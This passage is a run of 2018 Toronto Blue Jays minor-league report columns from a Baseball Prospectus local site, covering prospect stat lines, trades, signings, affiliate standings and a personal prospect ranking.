<li><strong>Bo Bichette</strong> &#8211; Cheating a bit here. Bo was hot for the first week of the season, but after that he came to down earth hard for 36 games. He slashed .201/.283/.342 over that span, and arrived at May 23 with a .669 OPS &#8212; which actually looked better than it was because of the torrid first week. Since then, though, in 68 games he&#8217;s slashed .307/.354/.509/.863, which is the Bo we know and love.</li>
<li><strong>Harold Ramirez</strong> &#8211; After playing himself into non-prospect status last year, Ramirez started out the same this year, finishing April 28 with a .224 average and a .562 OPS. Since then he&#8217;s been a completely different guy, with each month better than the last. He&#8217;s slashing .336/.377/.512 in 86 games. Which is good for him, because he has to hit &#8212; none of his other skills will carry him into the majors.</li>
<li><strong>Max Pentecost</strong> &#8211; I&#8217;ve been the high one on Max since probably the day he was drafted. This was the year, I had thought, with the injuries in the rear view, that it would all come together for him. But by late July even I was struggling to keep the faith. After play on July 25, he was hitting .198 with a shameful .545 OPS. I&#8217;ll be interested in hearing the story, by and by, of what turned things around &#8212; but turn they have. Since then, Pentecost&#8217;s line is .429/.429/.633 in 13 games (yes I just broke my significant sample size rule, didn&#8217;t I?). There&#8217;s still the matter of not having drawn a walk since July 21, and only two since June 23, but I&#8217;ll take encouragement where I can find it.</li>
<li><strong>Riley Adams</strong> &#8211; On July 8th, the 2017 third-rounder was, along with first-rounder and teammate Logan Warmoth, struggling with a .206 BA and a .632 OPS. Unlike Warmoth, Adams has since found his stride.  In 24 games he&#8217;s hit .314/.404/.399, which is still a bit light on power, but a lot closer to what people were expecting back in the spring.</li>
<li><strong>Patrick Murphy</strong> &#8211; Through the first two months of the season, Murphy&#8217;s ERA was a respectable 3.91. But he&#8217;d allowed 58 hits in 48.1 innings pitched, and neither the walks nor strikeouts impressed. Since then, though, his ERA is 1.88 with 55 hits in 81.1 innings pitched to go along with 81 strikeouts. He has issued 29 walks in that time, but 11 of those came in two aberrational outings.</li>
<li><strong>Ryan Noda</strong> &#8211; Noda&#8217;s numbers already look pretty good with an .893 OPS, but at the end of play on May 27 he was sitting on an utterly baffling .195/.444/.276 line. Since then, he&#8217;s hit .294/.409/.579, which is a much more attractive set of numbers.</li>
</ul>
<hr />
<h4>Buffalo</h4>
<p>The Bisons still linger under .500 and are three games from being eliminated from playoff contention.</p>
<h4>New Hampshire</h4>
<p>The Fisher-Cats, in contrast, are 3.5 games up on the second place contender, and 10.5 up on the third place team. Given that the top two teams make the playoffs, they are firmly in the driver&#8217;s seat with 21 regular season games to go.</p>
<h4>Dunedin</h4>
<p>With 17 FSL regular season games left on the calendar, the D-Jays are 3.5 games out, in second place, and a half game up on the third place team. They need to finish first to advance to the playoffs, but August has not been kind, as they are in the midst of a 1-8 skid. There&#8217;s still enough time, and enough skill on their roster, for them to turn it around. They have three critical games at first-place Clearwater next week.</p>
<h4>Lansing</h4>
<p>The &#8216;Nuts qualified for the postseason in the first half. At present, they are only one game out of first place in the second-half standings as well.</p>
<h4>Vancouver</h4>
<p>The C&#8217;s are 12-6 in the second half, good for a first-place standing and one game lead with 18 left to play.</p>
<h4>Bluefield</h4>
<p>Bluefield is in second place, three games out, in a format where the top two in each division make the playoffs. They lead their closest rival, Danville, by 2.5 with 13 games left to play, including three against Danville on the road.</p>
<h4>GCL &amp; DSL</h4>
<p>I usually don&#8217;t say much about these teams, as the win/loss results are even less important than elsewhere in the system. Many of these players will never even make it out of the complex leagues, and those recently drafted are typically running on fumes. A poor stat line here doesn&#8217;t really provide much information. That said, as the season winds down, there are some standout performances worth noticing. In the Gulf Coast League, 2018 first-round choice Jordan Gorshans still carries a .901 OPS, and has to be viewed as a big success so far. Left-handed starter Juan Diaz has a 2.52 ERA and 39 strikeouts against a mere 8 walks in 39 innings.</p>
<p>In the Dominican League, where players seldom post eye-popping offensive numbers, shortstop/third baseman Miguel Hiraldo &#8212; the most highly-regarded hitter from last year&#8217;s July 2 signing day &#8212; took his .834 OPS stateside this week. The most successful remaining hitter is speedy outfielder Jhon Solarte. But the real story here is the starting pitching. Four members of the rotation have ERAs under 3.00, three of those with very nice BB/K/IP ratios as well. 19-year-old Cuban Lazaro Estrada leads the way with a 1.98 ERA and a 6.3 K:BB ratio. 18-year-old Mexican Santos Moreno is fairly close behind. Both are somewhat undersized righties. Left-hander Adrian Hernandez is also 18 and undersized, but has 52 strikeouts in 45.1 innings pitched. It is a pitcher-friendly league, and none of them may turn out to be anything. But they are nonetheless names to remember.</p>
<hr />
<p>A final note: the Blue Jays acquired right-handed pitcher Bryan Baker from the Rockies to complete the Oh deal. He&#8217;s 23, an 11th-round college pick in the 2016 draft. Baker is 6&#8217;6&#8243; and 220, after making 11 starts in his draft year he was converted to the pen. He had an impressive 2017 with the Rockies&#8217; low-A affiliate, with a WHIP slightly under 1.00, over nine strikeouts per nine, and a 1.66 ERA. This season he&#8217;s been pitching in the best hitter&#8217;s park in the minor leagues &#8212; the Rockies&#8217; A Advanced team at Lancaster &#8212; and has shown increased velocity, but more trouble with the strike zone. He&#8217;s walked 34 in 45 innings pitched, while striking out 58.</p>
<p>The intriguing thing for me is that, in 20 appearances since June 10, Baker has allowed earned runs only twice &#8212; 4 ER in 19.1 innings &#8211; in the most hitter-friendly park in the minors. Minor league relievers have a high bar to clear, but there&#8217;s nothing to be ashamed of here for the third guy-to-be named-later in a mid-summer trade.</p>
<p><em>Lead Photo © Kim Klement &#8211; USA Today Sports</em></p>
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		<title>Minor League Report: Trade Deadline Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/08/01/minor-league-report-trade-deadline-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/08/01/minor-league-report-trade-deadline-edition/#comments</comments>
		<pubDate>Wed, 01 Aug 2018 10:35:09 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16460</guid>
		<description><![CDATA[As of this writing, the non-waiver trade deadline is about six hours in the past. You have probably read a fair amount of reporting on the six players that the Blue Jays acquired in July before today, and at least a little on the two new farmhands brought in just before today&#8217;s deadline. On the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>As of this writing, the non-waiver trade deadline is about six hours in the past. You have probably read a fair amount of reporting on the six players that the Blue Jays acquired in July before today, and at least a little on the two new farmhands brought in just before today&#8217;s deadline.</p>
<p>On the whole, Ross Atkins did quite well in adding to an already strong farm system. At least five of the six added might slot into the team&#8217;s top 40 prospects, with hard-throwing 22-year-old <strong>Hector Perez</strong> described as the best of the lot, falling just outside the system&#8217;s top 10 by most estimates. Perez went through a rough three-game skid in early May, giving up 14 earned runs over 10 innings, but has turned it up since then. He followed that hiccup with nine games that produced a 2.33 ERA in 46.1 IP allowing only 27 hits and 19 walks to go with 50 strikeouts. That sort of success has so far followed him to Double A, and one assumes he will slide right into the Fisher-Cats rotation.</p>
<p>The other part of the Osuna trade, 24-year-old <strong>David Paulino</strong>, has been rehabbing a shoulder injury for the GCL Astros but hasn&#8217;t recorded an appearance in almost two weeks. If he fully recovers before the season&#8217;s end, you can look for him to land in Buffalo. Given the lengthy absence, it&#8217;s difficult to guess what kind of pitcher the Bisons will see when he does.</p>
<p><strong>Billy McKinney</strong>, who came over in the Happ trade, has already been assigned to the Bisons, and Jeff Blair reported that the front office has designs on bringing him to Toronto sooner rather than later.  Just looking at the raw numbers, I can&#8217;t see a reason for the urgency, but obviously there&#8217;s more than stats informing their choices.</p>
<p>Center fielder <strong>Forrest Wall</strong>, obtained in the Oh deal, has played three games for the Fisher-Cats so far. His trade-mate <strong>Chad Spanberger</strong> has played three games for Lansing, assuming the role of their starting first baseman. <strong>Santiago Espinal</strong>, the middle infielder obtained from Boston for Steve Pearce, has moved up to the Fisher-Cats as well. Sample size considerations would make it foolish for me to offer a progress report on the performances of any of these players.</p>
<p>The two deadline day acquisitions, both 24-year-old right-handed pitchers, are both only recently arrived at the Triple A level. <strong>Corey Copping</strong>, who came in return for John Axford, is a pure reliever with strikeout stuff and a history of walking too many batters. In his last 14 appearances he&#8217;s walked eight over 19 IP with 19 strikeouts. However, he only allowed two earned runs over that span. He&#8217;s already been assigned to New Hampshire.</p>
<p><strong>Jacob Waguespack</strong> spent his first two pro seasons in the bullpen before moving into the rotation a couple of months into the 2017 season, his first at the Class A Advanced level. He ran off a string of 10 starts with a better than 4:1 strikeout to walk ratio and a 3.26 ERA, which earned him a promotion to Double A. His control slipped away again at the higher level, though, and he walked 16 in 37 IP over seven inconsistent starts. This year, he&#8217;s bounced between Double A and Triple A about as much as Tim Mayza has ridden the shuttle for the Blue Jays, and been similarly yanked between starting and relief roles. With the Jays having recalled Brandon Crumpton (heaven only knows why) from an already thin Bisons rotation and seemingly resistant to promoting players with actual promise, I&#8217;d assume Waguespack will slide into the Buffalo rotation on Thursday.</p>
<hr />
<h3>Hottest Pitcher: Jordan Romano</h3>
<p>The local boy made good is, in most respects, having his best year yet. Having mastered a change, the one thing that every observer had said would be necessary to avoid finding himself destined for the bullpen as he moved up the ladder, makes him a legitimate starting pitching prospect.</p>
<p>The oddity of his season was that he completely lost his groove in June. On June 7, 13, and 24 he gave up six, seven, and seven earned runs respectively (with a good outing in between on the 19th). His ERA over those three weeks was 9.48. In all other games this year it&#8217;s 2.08. Put another way, he&#8217;s allowed 44 earned runs in 2018 &#8212; exactly half of those in that four game episode, and the other half in the remaining 16 games and 95 IP. He has an ERA of 1.04 in four July starts, and seems long overdue for promotion.</p>
<h3>Hottest Hitter: Brock Lundquist</h3>
<p>I had three equally qualified candidates for this honor this time around. The tie breaker was to go with the one doing it at the most difficult level. Don&#8217;t be surprised if one of the others is here next time. For now, though, the owner of the system&#8217;s best mustache continues to defy the FSL&#8217;s reputation as a pitcher&#8217;s league.</p>
<p>In 22 games since joining the Dunedin Jays, Lundquist has hit .361/.455/.528 &#8212; better than he was doing in Lansing, where his line was bogged down by a terrible April. The sample size is small enough that it&#8217;s too early to get a firm read on what his Dunedin hot streak means for his future, absent some comments from actual scouts. But he&#8217;s definitely on the radar.</p>
<h3>6 Other Stat Lines</h3>
<ul>
<li><strong>Dalton Pompey</strong>: After one plate appearance on Sunday, Pompey was pulled from the game for reasons still unreported. In his last 10 games, including that one, he was hitting .345 with a .484 OBP. I continue to be greatly frustrated that he&#8217;s not in Toronto.</li>
<li><strong>Mc Gregory Contreras</strong> &#8211; On fire right now, the 19-year-old bag &#8216;o tools Contreras has an .891 OPS for July, but is hitting a crisp .458 in his last six games entering Tuesday night. Over half of his extra-base hits on the season have come in his last seven games.</li>
<li><strong>Cal Stevenson</strong> &#8211; You might remember that this 21-year-old center fielder was the Jays&#8217; 10th-round selection in June. He entered play on Tuesday night with a .939 OPS in July and a .344 average over his last 10 games. He has 10 steals on the year without being caught, and 39 walks over against only 11 strikeouts combined over two levels. Keep your eye on this guy.</li>
<li><strong>Jordan Groshans</strong> &#8211; Speaking of the most recent draft, that first selection is working out nicely so far. He&#8217;s hitting .380 with a 1.032 OPS in 28 games. I can&#8217;t fathom why he hasn&#8217;t been promoted, unless they think there&#8217;s value in having him still in Vancouver when or if his friend Kloffenstien is activated.</li>
<li><strong>Zach Logue</strong> &#8211; Runner-up for the pitcher honors this time, he has a 1.47 ERA over his last five starts with 25 strikeouts against only four walks.</li>
<li><strong>Travis Bergen </strong>- Another injury-plagued pitcher has turned into someone to watch for the Blue Jays. Bergen was drafted in the 7th round in 2015, and some observers marked him as a prospect to watch. But over his first three seasons he accumulated fewer than 30 IP. The initial observers were right, though: In just over 45 IP split almost evenly between Dunedin and NH, Bergen has an ERA of 0.99 and 12.3 K/9. Oh, and he&#8217;s a lefty too. If he holds together you might see him in a Jays uniform by next spring.</li>
</ul>
<hr />
<h4>Buffalo</h4>
<p>The Bisons welcomed Vladito to their lineup Tuesday night, and they needed him. They&#8217;re 7-14 since the International League All-Star break. To be fair, that might have as much to do with having to rely on scrubs like Nick Tepesch (8 ER in 2 IP in Guerrero&#8217;s debut) than anything the Kid can do for them.</p>
<h4>New Hampshire</h4>
<p>The Cats are riding a six-game win streak and are 12-6 since their All-Star break. They continue to hold onto first place in the league.</p>
<h4>Dunedin</h4>
<p>They went 19-10 in July, and in so doing maintained their grip on first place in the second-half FSL standings.</p>
<h4>Lansing</h4>
<p>A nine-game losing streak earlier in the month dropped the &#8216;Nuts under .500 for the second-half. They have since recovered to go 6-2, getting them back to break-even point.</p>
<h4>Vancouver</h4>
<p>A slow start to the year sank the C&#8217;s first-half chances. Despite a valiant recovery attempt, they finished .500, which was one game short of tying for first place and a playoff position. They are 4-3 in second-half play.</p>
<h4>Bluefield</h4>
<p>After a blazing start, the Baby Jays have come back to earth, going 4-8 in the last couple of weeks and slipping three games back of first place.</p>
<p>In closing, here is your periodic update on the complex teams: the GCL Jays are 16-16, thanks largely to Groshans, and the DSL squad is 28-22.</p>
<p><em>Lead Photo © Gregory Fisher &#8211; USA Today Sports</em></p>
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		<title>Minor League Report: Organization All-Star Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/07/18/minor-league-report-organization-all-star-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/07/18/minor-league-report-organization-all-star-edition/#comments</comments>
		<pubDate>Wed, 18 Jul 2018 10:17:21 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16352</guid>
		<description><![CDATA[The upper level All-Star games were last week. The A-ball All-Star games were weeks ago. Even though such breaks are considered the ceremonial divide between first and second &#8220;halves&#8221; of the season, just like in the majors, the event doesn&#8217;t actually fall at the halfway mark of the season. Three of four full season teams [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The upper level All-Star games were last week. The A-ball All-Star games were weeks ago. Even though such breaks are considered the ceremonial divide between first and second &#8220;halves&#8221; of the season, just like in the majors, the event doesn&#8217;t actually fall at the halfway mark of the season. Three of four full season teams have already played 90 games out of their 140-game season, with the exception of the rain-plagued Buffalo, who have played 87.</p>
<p>But, given the occasion of the MLB All-Star Game this week, how can your humble writer miss the opportunity to put together an All-Star team among the top performers in the Blue Jays organization? So here is my take on that theme. I&#8217;ve chosen not to include short season players for consideration, as it would be an unfair comparison given the considerably smaller samples.</p>
<p>Catcher: <a href="http://www.milb.com/player/index.jsp?sid=t422&amp;player_id=643376#/career/R/hitting/2018/ALL">Danny Jansen</a> (Buffalo) &#8211; Yes, many of the selections will be really obvious.<br />
First Base: <a href="http://www.milb.com/player/index.jsp?sid=milb&amp;player_id=676116#/career/R/hitting/2018/ALL">Ryan Noda</a> (Lansing) &#8211; While listed as an outfielder, he&#8217;s actually played at first base more than any of the outfield positions.<br />
Second Base: <a href="http://www.milb.com/player/index.jsp?sid=t463&amp;player_id=624415#/career/R/hitting/2018/ALL">Cavan Biggio </a>(New Hampshire) &#8211; Again, completely obvious.<br />
Shortstop: <a href="http://www.milb.com/player/index.jsp?sid=t424&amp;player_id=675656#/career/R/hitting/2018/ALL">Kevin Smith</a> (Dunedin/Lansing) &#8211; This is pretty easy so far!<br />
Third Base: <a href="http://www.milb.com/player/index.jsp?sid=t463&amp;player_id=665489#/career/R/hitting/2018/ALL">Vlad Guerrero, Jr</a> (New Hampshire) &#8211; Even with the long injury, who else?<br />
Outfield: <a href="http://www.milb.com/player/index.jsp?sid=t422&amp;player_id=641505#/career/R/hitting/2018/ALL">Jon Davis</a> (Buffalo/NH) &#8211; Fresh off the Double A All-Star game, he was promoted to Triple A.<br />
Outfield: <a href="http://www.milb.com/player/index.jsp?sid=milb&amp;player_id=669945#/career/R/hitting/2018/ALL">Chavez Young</a> (Lansing) &#8211; Moving out of &#8220;sleeper&#8221; into &#8220;legit prospect&#8221; status.<br />
Outfield: <a href="http://www.milb.com/player/index.jsp?sid=t424&amp;player_id=656668#/career/R/hitting/2018/ALL">Brock Lundquist</a> (Dunedin/Lansing) &#8211; Maybe the one guy you were not expecting here, but after a slow start he&#8217;s built a solid year. He also rocks the best mustache in the system, if that&#8217;s something you&#8217;re interested in.</p>
<p>Starting Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t422&amp;player_id=621366#/career/R/pitching/2018/ALL">Ryan Borucki</a> (Buffalo) &#8211; No shock here.<br />
Starting Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t422&amp;player_id=656887#/career/R/pitching/2018/ALL">Sean Reid-Foley</a> (Buffalo/NH) &#8211; He&#8217;s erased a lot of last year&#8217;s doubts.<br />
Starting Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t424&amp;player_id=641907#/career/R/pitching/2018/ALL">Patrick Murphy</a> (Dunedin) &#8211; The biggest forward stride among the starting pitchers.<br />
Starting Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=milb&amp;player_id=660546#/career/R/pitching/2018/ALL">Yennsy Diaz</a> (Dunedin/Lansing) &#8211; Quietly having an excellent year.</p>
<p>Relief Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t424&amp;player_id=664157#/career/R/pitching/2018/ALL">Travis Bergen</a> (NH/Dunedin) &#8211; Remember this name. Relievers are seldom &#8220;prospects,&#8221; but this lefty surely is.<br />
Relief Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t422&amp;player_id=670288#/career/R/pitching/2018/ALL">Jake Fishman</a> (Dunedin) &#8211; Another lefty crushing the opposition.<br />
Relief Pitcher: <a href="http://www.milb.com/player/index.jsp?sid=t424&amp;player_id=621143#/gamelogs/R/pitching/2018/MINORS">Jackson McClelland</a> (Dunedin) &#8211; Future closer?</p>
<p>Some honorable mentions for starting pitchers: TJ Zeuch, Angel Perdomo, Jordan Romano, and Zach Logue.</p>
<hr />
<h3>Hottest Pitcher: Eric Pardinho</h3>
<p>No one in the system really outshone the other contenders in the first half of July. I could have made a good case for Yennsy Diaz, for example, who has the best line for July alone. But Pardinho is both highly-regarded and a great story, and it&#8217;s worth remarking on his overall results. He&#8217;s 17 years old and pitching in Bluefield, which is something that basically never happens. In five starts he has a 2.82 ERA, a 0.90 WHIP, and over five times as many strikeouts as walks, while limiting opponents to a .173 average. There&#8217;s a reason he&#8217;s commonly ranked among our top 10 prospects.</p>
<h3>Hottest Hitter: Harold Ramirez</h3>
<p>Full disclosure: I <em>really</em> wanted this to be Griffin Conine. He&#8217;s having a great month (.346/.393/.635), he&#8217;s a recent acquisition, and a legit top-20 prospect. In contrast, I haven&#8217;t had a scrap of enthusiasm for Harold Ramirez since he came over from Pittsburgh. He was basically the definition of a tweener: Good hitter, nice OBP, no over-the-fence power to speak of, quick but not an obviously skilled baserunner, and lacking the arm to play anywhere but left-field regularly. On top of that, his first full season in the Jays system was his worst in every regard. But in July, for whatever reason, he&#8217;s on fire. He&#8217;s gotten better month-over-month all year, but this last few weeks have been crazy good. A line of .426/.472/.681 &#8212; that&#8217;s a 1.153 OPS &#8212; forces even doubters like me to tip my cap.</p>
<h3>5 Other Stat Lines</h3>
<ul>
<li><strong>Griffin Conine</strong>: After an inconsistent first week, he caught a second wind and has put up an OPS over 1.000 in the 16 games since, while collecting a ton of praise for his defense. Look for him to get at least a couple of weeks in Lansing towards the end of the season, if things continue going well, and land in Dunedin next spring.</li>
<li><strong>Tanner Kirwer</strong>: A much lower profile guy, taken in the 20th round in 2017, Kirwer also started slow. After his first four games, though, he kicked into gear, and has a .900 OPS since then. The Albertan center fielder also has good speed, swiping 13 bags in 15 tries.</li>
<li><strong>Jordan Groshans</strong> &#8211; Went 0-for-12 over three games a week ago, but other than that he&#8217;s owned the league. His .362/.432/.551 line screams &#8220;promote me already!&#8221;</li>
<li><strong>Jon Harris</strong> &#8211; Over his last seven starts, two of those coming on a brief trip to Buffalo, he has a 1.51 ERA and 37 strikeouts against only 7 walks in 41.2 IP.</li>
<li><strong>Yennsy Diaz</strong> &#8211; Over 18 games at two levels, he has a 2.61 ERA and a 1.02 WHIP. He&#8217;s still working on the control but hitters aren&#8217;t putting the bat on the ball much so far.</li>
</ul>
<hr />
<h4>Buffalo</h4>
<p>The Bisons continue to fluctuate around the .500 mark, never seeming to get on a real hot streak. That&#8217;s mostly an offense problem. Other than the newly arrived Gio Urshela over the last 10 days or so, Jansen doesn&#8217;t get a whole lot of help at the plate.</p>
<h4>New Hampshire</h4>
<p>The Cats have had a middling July to this point, but remain in first place in the standings, 1.5 games up on Trenton.</p>
<h4>Dunedin</h4>
<p>Through Monday night, the D-Jays have won 13 of their last 14. They were only one game out of last place in the first half, but the currently sit in first by three games (with a .720 winning percentage) in the second half.</p>
<h4>Lansing</h4>
<p>The first-half champs have floundered in July, going 5-10.  But they remain just above .500. Losing most of their best SP to promotion or injury will do that.</p>
<h4>Vancouver</h4>
<p>The C&#8217;s are 12-8 in their last 20 games, but remain a game under .500 thanks to a horrible start.</p>
<h4>Bluefield</h4>
<p>They finished play on the Fourth of July at an impressive 13-2, but have shown a more human side since. Still, they are currently 19-8, which is good enough to hang onto first place.</p>
<p><i>Lead Photo © Steve Mitchell &#8211; USA Today Sports</i></p>
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		<title>Minor League Report: Signing Day Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/07/04/minor-league-report-signing-day-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/07/04/minor-league-report-signing-day-edition/#comments</comments>
		<pubDate>Wed, 04 Jul 2018 10:45:56 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16210</guid>
		<description><![CDATA[After the draft, this week&#8217;s July 2nd start to the international free agent signing period was the other gold-rush event for teams to add young raw talent to their system. Unsurprisingly, the Jays gave what might be the highest bonus in this cycle &#8212; $3.5 million of their $4,983,500 pool &#8212; to 16-year-old Dominican shortstop Orelvis Martinez.  [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>After the draft, this week&#8217;s July 2nd start to the international free agent signing period was the other gold-rush event for teams to add young raw talent to their system. Unsurprisingly, the Jays gave what might be the highest bonus in this cycle &#8212; $3.5 million of their $4,983,500 pool &#8212; to 16-year-old Dominican shortstop Orelvis Martinez.  Quoting <a href="https://www.mlb.com/bluejays/news/blue-jays-to-sign-orelvis-martinez/c-283428274">Jesse Sanchez</a> at MLB.com:</p>
<p><em>On offense, Martinez has a good rhythm and a short, compact swing with plus bat speed. He has a chance to be an above-average hitter with above-average power. He has shown solid actions on defense and good body control. He could end up at third base, which is fitting because he has been compared to <a href="http://m.mlb.com/player/134181/adrian-beltre">Adrian Beltre</a> at the same age.</em></p>
<p>Adrian Beltre? I&#8217;d take that, even if it&#8217;s a discount version.</p>
<p>Here&#8217;s a list of the Jays&#8217; other IFA signings per Baseball America as of late afternoon on Tuesday:</p>
<ul>
<li>Javier D’Orazio, C, Venezuela</li>
<li>Amell Brazoban, OF, Dominican Republic</li>
<li>Wilfran Astudillo, SS, Venezuela</li>
<li>Gary David, C, Venezuela</li>
<li>Leo Callez, SS, Venezuela</li>
<li>Jorman Gonzalez, RHP, Venezuela</li>
<li>Wilgenis Alvarado, LHP, Venezuela</li>
<li>Javier Perdomo, LHP, Venezuela</li>
</ul>
<p>Brazoban and Gonzalez appear without scouting on MLB&#8217;s &#8220;best of the rest&#8221; list of potential signings. The others may well be of the &#8220;less than $10,000&#8243; category, which means they don&#8217;t count against the salary pool.</p>
<hr />
<p>&nbsp;</p>
<p>Now, about the prospect list. I refrained pre-season from imposing my own personal list upon you, since it is largely just me trying to synthesize all the various reports available from both professional and amateur observers as well as &#8220;scouting the stats,&#8221; which is always problematic. That said, I do keep a very long running list that I modify every couple of weeks. I&#8217;m aware, of course, that beyond the top 15 prospects or so the rankings are subjective &#8212; there&#8217;s not really much way to make the case that the guy at no. 41 is significantly more promising than the guy you put at no. 58. But it does help to tier players in terms of whose stock is improving, whose is declining, and who it might pay to watch.</p>
<p>For example, in 2013 I had a little-known and lightly-regarded minor league starter who was ordinarily ranked in the 60s. The next season they moved him to the bullpen, his strikeout-to-walk ratio improved noticeably, and I bumped him up 15-20 spots. The year after that, Ryan Tepera made his major league debut. So while it&#8217;s true that the vast majority of &#8220;prospects&#8221; never amount to major league contributors, sometimes the guy who isn&#8217;t even close to the Top 30 ends up being a guy in the big leagues.</p>
<p>Since few (if any) major publications revise their entire prospect list for each team at mid-season, what follows is based on my own subjective processing of the information that&#8217;s been reported since March, statistical and otherwise.</p>
<p>If you were to look at most top 20-30 lists in March, including mine, the most prominent names you wouldn&#8217;t see would be shortstop Kevin Smith and second baseman Cavan Biggio. The former was no. 19 on the MLB list and no. 24 on Baseball America, putting him at no. 33 on the consensus list and at no. 31 on mine. The latter, meanwhile, was nowhere. These two hitters have, obviously, improved their stock significantly over the past few months.</p>
<p>The pitcher who may have most improved his stock is the one I will feature below. Former first rounder Jon Harris is now a month into a turnaround that, if legit, would put him back in the top 30. Another guy who&#8217;s improved his stock, at least with me, is Sean Reid-Foley. I had let him slide to no. 12 based on his so-so 2017, but he&#8217;s since reclaimed all his lost standing.</p>
<p>Conversely, some of the guys I and my most respected sources were high on have had not-so-good first-half performances. Logan Warmoth and Riley Adams have been, at a most charitable reading, pedestrian. Though I was admittedly higher on him than most professional sources, Max Pentecost has yet to find an offensive rhythm at Double A. Richard Ureña and Reese McGuire still don&#8217;t hit enough, and Rowdy Tellez still hasn&#8217;t re-established his power stroke. Tom Pannone was suspended. Nate Pearson and Justin Maese were hurt. Jordan Romano was excellent for two months, then wasn&#8217;t. Other list-making considerations include the newly-signed Martinez, the top three recent draft choices, and the recently-acquired and intriguing Santiago Espinal, who likely slots in alongside players like Brock Lundquist and Mc Gregory Contreras.</p>
<p>With all that in mind, here&#8217;s how my list right now would stack up:</p>
<ol>
<li>Vladimir Guerrero Jr.</li>
<li>Bo Bichette</li>
<li>Anthony Alford</li>
<li>Nate Pearson</li>
<li>Danny Jansen</li>
<li>Ryan Borucki</li>
<li>Sean Reid-Foley</li>
<li>Jordan Groshans</li>
<li>T.J. Zeuch</li>
<li>Kevin Smith</li>
<li>Eric Pardinho</li>
<li>Lourdes Gurriel Jr.</li>
<li>Cavan Biggio</li>
<li>Logan Warmoth</li>
<li>Adam Kloffenstein</li>
<li>Ryan Noda</li>
<li>Griffin Conine</li>
<li>Miguel Hiraldo</li>
<li>Jordan Romano</li>
<li>Orelvis Martinez</li>
<li>Thomas Pannone</li>
<li>Patrick Murphy</li>
<li>Angel Perdomo</li>
<li>Riley Adams</li>
<li>Jon Harris</li>
</ol>
<hr />
<p>&nbsp;</p>
<h3>Hottest Pitcher: Patrick Murphy</h3>
<p>Murphy is a right-handed parallel to the Ryan Borucki story you no doubt read in our great piece by <a href="http://toronto.locals.baseballprospectus.com/2018/07/03/ryan-borucki-and-the-journey-to-the-show/">Sean Addis</a> yesterday. Drafted in the third round of the 2013 draft, Murphy entered the 2016 season with a grand total of four innings pitched in professional baseball games due to a string of injury issues. He was fairly successful that year, but sported a higher walk rate than you&#8217;d like to see; in 2017, the outcome was similar. The ERA ticked lower, but the strikeout rate, not overwhelming before, dropped off noticeably.</p>
<p>He seems, however, to have figured something out in his first full year at Dunedin. When he walked off the mound on May 6, his ERA was 4.50, and he&#8217;d allowed 40 hits in 34 IP with a 9:24 BB to K ratio. Fine, ordinary, pedestrian work. He&#8217;s had 10 starts since, and over that time his line looks like this: 55 IP, 51 H, 26 BB (six in one start), 53 K, and a 2.29 ERA. He hasn&#8217;t given up more than 3 runs in an outing in any of those games. If this reflects a genuine sustainable change in approach, Murphy is a coming item.</p>
<h3>Hottest Hitter: Dominic Abbadessa</h3>
<p>So here&#8217;s a guy most of you don&#8217;t know about. So obscure is the 2016 23rd-round choice out of a Huntington Beach, CA high school that his player page on MiLB.com still doesn&#8217;t have his headshot two years into his career. He played all of 2017 in the Gulf Coast League and was quite a good hitter, slashing .340/.402/.408. But it was the Gulf Coast League, so few put a spotlight on him. This year he&#8217;s at Bluefield, on a team with five players currently carrying an OPS over 1.000 and another three over .800. Abbadessa is a cut above, slashing .500/.568/.658 (as of Monday) in the early going. Does this mean he&#8217;s something special, or just having a hot start? I don&#8217;t know. He&#8217;s a 5&#8217;10&#8221; right handed-hitting center fielder with some speed. He seems to have both a solid skill set and an idea how to use it. He&#8217;s definitely one to watch.</p>
<h3>5 Other Stat Lines</h3>
<ul>
<li><strong>Eric Pardinho</strong> &#8211; RHP &#8211; Bluefield &#8211; In honor of Signing day, these stat lines will highlight some players from last year&#8217;s signing period, even though the pro-sample is small. Pardinho is the most prominent of these players by far. In a very unusual move the Jays started his career above the complex league, despite his young age. So far the returns are good: In each of his first two starts, he&#8217;s given up one run on two hits over four innings while striking out five. Tuesday night he dialed it up another notch, striking out nine in five innings and giving up a single hit. For those doing the math, that&#8217;s a 1.38 ERA, 13 IP, 5 H, 2 BB, and 19k. Remember, this kid won&#8217;t turn 18 until January.</li>
<li><strong>Miguel Hiraldo</strong> &#8211; SS &#8211; DSL &#8211; The third-highest bonus the Jays gave out in 2017 was to Hiraldo, who was said to be among the best hitters available. Like Martinez, there was talk he&#8217;d eventually move off shortstop, but the hitting is as advertised: In 25 games he&#8217;s carrying a .951 OPS.</li>
<li><strong>Leonardo Jiminez</strong> &#8211; SS &#8211; GCL &#8211; Jiminez got the second-highest July bonus last year, and is a player Gil Kim has gone out of his way to brag on several times. Said to be an impressive defender, he&#8217;s played nine games in the GCL and carries a .303 average to go with an .819 OPS.</li>
<li><strong>Jhon Solarte </strong>- CF &#8211; DSL &#8211; While not a &#8220;bonus baby,&#8221; this swift switch-hitting Venezuelan has already drawn 15 walks in his 25 games, leading the team and contributing to his .438 OBP (and .889 OPS).</li>
